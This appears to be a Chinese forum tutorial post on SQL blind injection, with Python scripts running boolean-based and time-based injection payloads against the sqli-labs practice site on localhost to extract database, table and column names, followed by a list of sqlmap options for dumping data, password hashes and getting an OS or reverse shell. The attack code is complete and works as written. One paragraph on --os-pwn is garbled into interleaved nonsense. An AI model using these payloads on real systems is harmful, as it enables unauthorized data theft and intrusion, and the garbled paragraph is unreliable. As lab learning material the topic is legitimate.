SQL布尔盲注+时间盲注

[复制链接]
发表于 2025-10-26 04:30:14 | 显示全部楼层 |阅读模式

马上注册,结交更多好友,享用更多功能,让你轻松玩转社区。

您需要 登录 才可以下载或查看,没有账号?立即注册

×
1.布尔盲注

        双重for循环
  1. import requests
  2. url = 'http://127.0.0.1/sqli-labs-master/Less-8/index.php'
  3. def database_name():
  4.     datebasename = ''
  5.     for i in range(1, 9):  # 假设数据库名称最多8个字符
  6.         for j in range(32, 128):  # ascii 可见字符范围从32到127
  7.             payload = f"?id=1' AND ASCII(SUBSTRING(DATABASE(), {i}, 1)) = {j}-- "
  8.             res = requests.get(url + payload)
  9.             if res.status_code == 200:  # 确保请求成功
  10.                 if "You are in..........." in res.text:  # 这个字符串是针对成功响应的标志
  11.                     datebasename += chr(j)
  12.                     print(f"正在构建数据库名称: {datebasename}")
  13.                     break  # 找到当前字符后跳出内层循环,继续下一个字符的查找
  14.     print(f"数据库名称是: {datebasename}")
  15. # 调用函数
  16. database_name()
复制代码
 

 二分查找
  1. import requests
  2. url = 'http://127.0.0.1/sqli-labs-master/Less-8/index.php'
  3. #mysql中的substr(string,start,dugt)三个参数分别是被截取的字符串,起始位置,截取长度
  4. def database_name():
  5.     datebasename = ''
  6.     for i in range(1, 9):  # 假设数据库名称最多8个字符
  7.         start = 32
  8.         end = 128
  9.         while start <= end: #起始端等于终止端时命中
  10.             middle = (start + end) // 2
  11.             payload = f"?id=1' and ascii(substr(database(), {i}, 1)) > {middle}-- "
  12.             res = requests.get(url + payload)
  13.             if res.status_code == 200:  # 确保请求成功,这个属性可以拿到页面返回的状态码
  14.                 if "You are in..........." in res.text:  # 这个字符串是针对成功响应的标志
  15.                     start = middle + 1 # 大于的情况下,证明目标字符在后半段
  16.                 else:
  17.                     end = middle - 1 # 小于的情况证明目标字符在前半段
  18.         if start > end:
  19.             datebasename = datebasename + chr(start) # 退出内层循环,命中,这里不适用end和middle,最后一次循环end-1,middle由于是整除,结果会偏差1
  20.             print(f"数据库名称是: {datebasename}")
  21. database_name()
  22. #mysql中的if(string,one,two)当string为真执行one,否则执行two
  23. #在MySQL默认数据库information_schema的表tables中字段table_name存有表的名称,前面的table_schema字段是数据库对应名称
  24. #mysql中limit 5,1,第一个表示从第几行开始,是开区间会从第6行开始,第二个参数表示返回的行数,如果只有一个参数,会默认从第一行返回对应行数
  25. def table_name():
  26.     tablename = ''
  27.     for i in range(1,20):
  28.         start = 32
  29.         end = 128
  30.         while start <= end:
  31.             middle = (start + end) // 2
  32.             payload = f"?id=1' and ascii(substr((select table_name from information_schema.tables where table_schema=database() limit 0,1),{i},1)) > {middle}-- "
  33.             res = requests.get(url + payload)#通过调整limit的参数可以把数据库的所有表名拿到
  34.             if res.status_code == 200:  # 确保请求成功,这个属性可以拿到页面返回的状态码
  35.                 if "You are in..........." in res.text:  # 这个字符串是针对成功响应的标志
  36.                     start = middle + 1  # 大于的情况下,证明目标字符在后半段
  37.                 else:
  38.                     end = middle - 1  # 小于的情况证明目标字符在前半段
  39.             if start > end:
  40.                 tablename = tablename + chr(start)  # 退出内层循环,命中,这里不适用end和middle,最后一次循环end-1,middle由于是整除,结果会偏差1
  41.                 print(f"表名称是: {tablename}")
  42. table_name()
  43. #在MySQL默认数据库里information_schema的表columns中字段column_name存有字段名称,前面的table_name字段是对应的表名
  44. def column_name():
  45.     columnname = ''
  46.     for i in range(1,20):
  47.         start = 32
  48.         end = 128
  49.         while start <= end:
  50.             middle = (start + end) // 2
  51.             payload = f"?id=1' and ascii(substr((select column_name from information_schema.columns where table_name='users' limit 4,1),{i},1)) > {middle}-- "
  52.             res = requests.get(url + payload)
  53.             if res.status_code == 200:
  54.                 if "You are in..........." in res.text:  # 这个字符串是针对成功响应的标志
  55.                     start = middle + 1  # 大于的情况下,证明目标字符在后半段
  56.                 else:
  57.                     end = middle - 1  # 小于的情况证明目标字符在前半段
  58.             if start > end:
  59.                 columnname += chr(start)
  60.                 print(f"字段名是:{columnname}")
  61. column_name()
复制代码

 2.时间盲注


        二分查找
  1. import time
  2. import requests
  3. url = 'http://127.0.0.1/sqli-labs-master/Less-9/index.php'
  4. #mysql中if函数有三个参数,第一个是子表达式,第二个是子表达式为真时返回的结果,第三个是为假返回的结果
  5. def database_name():
  6.     datebasename = ''
  7.     for i in range(1, 9):  # 假设数据库名称最多8个字符
  8.         start = 32
  9.         end = 128
  10.         while start <= end: #起始端等于终止端时命中
  11.             middle = (start + end) // 2
  12.             payload = f"?id=1' and if(ascii(substr(database(),{i},1)) > {middle},sleep(2),1)-- "
  13.             start_time = time.time()
  14.             res = requests.get(url + payload)
  15.             end_time = time.time()
  16.             if res.status_code == 200:  # 确保请求成功,这个属性可以拿到页面返回的状态码
  17.                 if (end_time - start_time) >= 2:  # 这个时间差证明满足条件
  18.                     start = middle + 1 # 大于的情况下,证明目标字符在后半段
  19.                 else:
  20.                     end = middle - 1 # 小于的情况证明目标字符在前半段
  21.         if start > end:
  22.             datebasename = datebasename + chr(start) # 退出内层循环,命中,这里不适用end和middle,最后一次循环end-1,middle由于是整除,结果会偏差1
  23.             print(f"数据库名称是: {datebasename}")
  24. database_name()
  25. def table_name():
  26.     tablename = ''
  27.     for i in range(1, 20):
  28.         start = 32
  29.         end = 126
  30.         while start <= end:
  31.             middle = (start + end) // 2
  32.             payload = f"?id=1' and if(ascii(substr((select table_name from information_schema.tables where table_schema=database() limit 1,1),{i},1) > {middle},sleep(2),1)-- "
  33.             start_time = time.time()
  34.             res = requests.get(url + payload)
  35.             end_time = time.time()
  36.             if res.status_code == 200:
  37.                 if (end_time - start_time) >= 2:
  38.                     start = middle + 1
  39.                 else:
  40.                     end = middle - 1
  41.         if start > end:
  42.             if middle == 0:
  43.                 break
  44.             tablename += chr(start)
  45.             print(f"表名称是: {tablename}")
  46. table_name()
  47. def column_name():
  48.     columnname = ''
  49.     for i in range(1, 20):
  50.         start = 32
  51.         end = 128
  52.         while start <= end:
  53.             middle = (start + end) // 2
  54.             payload = f"?id=1' and if(ascii(substr((select column_name from information_schema.columns where table_name='users' limit 4,1),{i},1)) > {middle},sleep(2),1)-- "
  55.             start_time = time.time()
  56.             res = requests.get(url + payload)
  57.             end_time = time.time()
  58.             if res.status_code == 200:
  59.                 if (end_time - start_time) >= 2:
  60.                     start = middle + 1
  61.                 else:
  62.                     end = middle - 1
  63.         if start > end:
  64.             if middle == 0:
  65.                 break
  66.             columnname += chr(start)
  67.             print(f"字段名是: {columnname}")
  68. column_name()
复制代码
 

这里的表名反复看了,没有发现标题在那边,就是为空,无论我怎么该limit的范围,通过navigat检察数据库,不应该是如许的,等办理了会修改文章 
3.SQLmap


  • 通用参数

    • -h,体现资助情况
    • -hh,体现高级资助信息
    • --version,体现版本信息
    • -v verbose,设置输出的详细水平,范围为0,6,默以为1,越高越多
           
  • 目标参数

    • -u URL,指定目标URL,假如使用Linux测试Windows靶场,所在为192.168.X.1,不要用127.0.0.1
    • -g :处置惩罚Google Dork 结果作为目标URL

      • Google Dork 是什么?

        • 就是Google搜索的语法,在信息网络案例.md里有
                               
                     
           
  • 哀求参数

    • --data=data:通过POST哀求发送的数据字符串,比方"id=1"
    • --cookie=COOKIE:设置http哀求头中的cookie
    • --random-agent:随机选择一个http user-agent头部来伪装哀求。
    • --proxy=proxy:使用署理服务器毗连目标URL,署理格式为http://ip:port
    • --tor:通过tor网络匿名毗连
           
Tor(The Onion Router)是一种用于实现匿名通讯的自由软件,由美国非红利构造The Tor Project, Inc开发与维护
Tor的名称泉源于“洋葱路由”(The Onion Router)的缩写,其核心技能是通过多层加密和多跳署理来掩护用户的隐私和匿名性

  • --check-tor:查抄是否精确使用tor网络


  • 注入参数

    • -p :指定要测试的参数,可以是一个或多个。比方:-p id,会测试id参数
    • --dbms=DBMS:欺凌设置背景数据库管理体系,比方MySQL或PostgreSQL
           
  • 检测参数

    • --level=level:设置测试的级别,默认是1,范围1~5,越大越强
    • --risk=risk:设置风险品级,范围1~3,默认值1,越大风险越高
           
  • 技能参数

    • --technique=THCH:指定使用的SQL注入技能,默认是"BEUSTQ",B是布尔盲注,E报错注入,U是团结查询
           
  • 摆列参数

    • -a,检索全部信息
    • -b,获取数据库横幅信息
    • --current-user:获取当前的DBMS用户信息
    • --current-db:获取当前的DBMS数据库名称
    • --passwords:摆列DBMS用户的暗码哈希
    • --dbs:摆列DBMS中的全部数据库
    • --tables:摆列数据库中的全部表
    • --columns:摆列表中的字段
    • --schema:摆列DBMS的全部模式
    • --dump:转储(导出)数据库中的数据
    • --dump-all:导出全部数据库数据
    • -D:指定命据库
    • -T:指定表
    • -C:指定列
           
  • 操纵体系访问参数

    • --os-shell:打开一个交互式操纵体系shell,这就是into outfile,须要三条件
    • --os-pwn:获取反向shell大概毗连
           
--os---poswn-pwn 参数在 参数 是sql sqlmapmap 提 中供是的逐一个种强功能大的,勤奋能于,它通过答应 SQL攻击 注者入通过弊端 SQL获取 注目标入体系弊端的在操纵目标体系数据库权限所在。的它服务器使用上数据库实验管理操纵体系体系(命DBMS令)的弊端实验恶,意以致命得到令,反向通常 shell通过(数据库比方的:扩通过展 Net功能cat( 或如 Meter preterxp _cmdshell毗连到 或攻击其他者体系的存呆板储)。过程这一)攻击来方式触不发须要命目标令用户实验点击,从链接而,而是创建通过一个数据库反权限向、 shell。设置攻击或弊端者实验可以恶通过意该命反令向。

  • 通用参数

    • --batch:自动使用默认举动,不须要输入
    • --flush-session:清空当前毗连
           
回复

使用道具 举报

登录后关闭弹窗

登录参与点评抽奖  加入IT实名职场社区
去登录
快速回复 返回顶部 返回列表